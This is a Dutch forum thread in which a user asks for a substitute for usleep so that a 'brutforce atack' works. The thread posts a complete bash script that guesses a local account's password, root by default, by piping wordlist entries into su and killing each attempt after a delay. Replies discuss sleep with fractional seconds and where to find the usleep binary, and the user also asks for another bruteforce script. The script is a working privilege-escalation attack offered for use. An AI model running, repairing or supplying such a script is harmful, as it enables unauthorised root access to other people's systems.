Als het niet moeilijk is, dan zal het wel makkelijk zijn
Verwijderd
usleep is een functie die niet meer gebruikt wordt (zie de notes onderaan). Zie de manpage:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| USLEEP(3) Linux Programmer's Manual USLEEP(3)
NAME
usleep - suspend execution for microsecond intervals
SYNOPSIS
#include <unistd.h>
void usleep(unsigned long usec);
int usleep(unsigned long usec); /* SUSv2 */
DESCRIPTION
The usleep() function suspends execution of the calling process for usec microseconds.
The sleep may be lengthened slightly by any system activity or by the time spent pro-
cessing the call.
RETURN VALUE
None (BSD). Or: 0 on success, -1 on error (SUSv2).
ERRORS
EINTR Interrupted by a signal.
EINVAL usec is not smaller than 1000000. (On systems where that is considered an
error.)
CONFORMING TO
BSD 4.3. The SUSv2 version returns int, and this is also the prototype used by glibc
2.2.2. Only the EINVAL error return is documented by SUSv2.
NOTES
The interaction of this function with SIGALRM and other timer functions such as sleep(),
alarm(), setitimer(), nanosleep() is unspecified. This function is obsolete. Use
nanosleep(2) or setitimer(2) instead.
SEE ALSO
alarm(2), getitimer(2), nanosleep(2), select(2), setitimer(2), sleep(3)
2001-04-02 USLEEP(3) |
is hier dan een "bijna zelfde" vervanger voor ???
heb dit namelijk nodig op een pause te maken voor een brutforce atack
heb dit namelijk nodig op een pause te maken voor een brutforce atack
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
| #!/bin/bash
DESTACC='root'
WORDFILE='words'
KILLDELAY=03
# End of setup.
clear
echo "mmax super BruteForce Password Crack"
echo "-------------------------------------"
echo "------------------------------------ "
echo
if [ ! "$1" = "" ]; then
DESTACC="$1"
fi
KD=$[KILLDELAY*100000]
echo "[+] Configured against user '$DESTACC', wordfile: $WORDFILE"
echo "[+] Kill-delay set to $KD usecs..."
id "$DESTACC" &>/dev/null
if [ ! "$?" = "0" ]; then
echo "[-] Hmm, user '$DESTACC' not found, paranoia?"
echo
exit 0
fi
SHL="`grep "^$DESTACC:" /etc/passwd|awk -F: '{print $7}'`"
if [ ! "$SHL" = "/bin/bash" ]; then
echo "[-] Hmm, user '$DESTACC' has $SHL set as shell, expect problems..."
fi
echo "[+] Destination account is alive and well..."
if [ ! -f "$WORDFILE" ]; then
echo "[-] Wordfile '$WORDFILE' not found, check it."
echo
exit 0
fi
if [ ! -u /bin/su ]; then
echo "[-] Can't find +s on /bin/su, hack me."
echo
exit 0
fi
if [ ! -x /bin/su ]; then
echo "[-] Haven't +x on /bin/su, hack me."
echo
exit 0
fi
echo "[+] /bin/su seems to be executable and setuid, hopefully it works..."
if [ ! -x /bin/usleep ]; then
echo "[-] No /bin/usleep in this system. Be a hacker."
echo
exit 0
fi
if [ "$UID" = "0" ]; then
echo "[-] Root?! You idiot..."
echo
exit 0
fi
echo "[+] Let's go straight to number one..."
LNS="`cat $WORDFILE | wc -l|awk '{print $1}'`"
CNT=0
echo "[+] Wordfile '$WORDFILE' loaded - $LNS passwords..."
echo "[+] Estimated time: $[LNS*KILLDELAY/25] secs, max: $[LNS*KILLDELAY/10] secs."
while [ "$CNT" -lt "$LNS" ]; do
CNT=$[CNT+1]
PASS="`head -$CNT $WORDFILE|tail -1`"
echo -ne "[?] Trying '$PASS' ($CNT/$LNS)... \r"
echo "$PASS" | su "$DESTACC" &>/dev/null &
usleep $KD
kill -9 $! &>/dev/null
if [ ! "$?" = "0" ]; then
echo
echo "
[*] Huh, it worked. I've tried password '$PASS' for '$DESTACC'."
echo "[+] Time wasted: $[KILLDELAY*CNT/10] seconds."
echo "[+] Thank You, and hope you enjoyed your stay."
echo
exit 0
fi
done
echo "
[*] Hmm, end of wordfile, but no matching passwords :("
echo "[+] Time wasted: $[KILLDELAY*CNT/10] seconds."
echo "[+] Bad day, try again tomorrow?"
echo
exit 0 |
Als het niet moeilijk is, dan zal het wel makkelijk zijn
Verwijderd
Even je code in 
sleep accepteert gewoon floats, dus die kan je hier prima gebruiken lijkt me zo. "man sleep"
code:
bloks geplaatst 1
|
sleep accepteert gewoon floats, dus die kan je hier prima gebruiken lijkt me zo. "man sleep"
deze heb ik dus ook geprobeerd, sleep hernoemt naar usleep.
maar het gaat dan niet helemaal goed.
hij checked hem wel als "goed bestand", maar als hij de worden uitwilt proberen gaat hij niet naar de volgende,omdat hij "denk ik" geen "tijd" voor heeft.
maar het gaat dan niet helemaal goed.
hij checked hem wel als "goed bestand", maar als hij de worden uitwilt proberen gaat hij niet naar de volgende,omdat hij "denk ik" geen "tijd" voor heeft.
Als het niet moeilijk is, dan zal het wel makkelijk zijn
weet jij misschien nog een bruteforce scriptje om MIJN pc te testen????
of misschien dit scriptje aanpassen???
want het werkt dus niet
of misschien dit scriptje aanpassen???
want het werkt dus niet
Als het niet moeilijk is, dan zal het wel makkelijk zijn
/bin/usleep is onderdeel van initscripts op een RH bak. rpmfind.net is je vriend samen met alienik ben al een paar dagen op zoek naar het binary filetje usleep.
ik heb het nog nergens kunnen vinden helaas,
weet iemand waar je hem kun dl.
Pagina: 1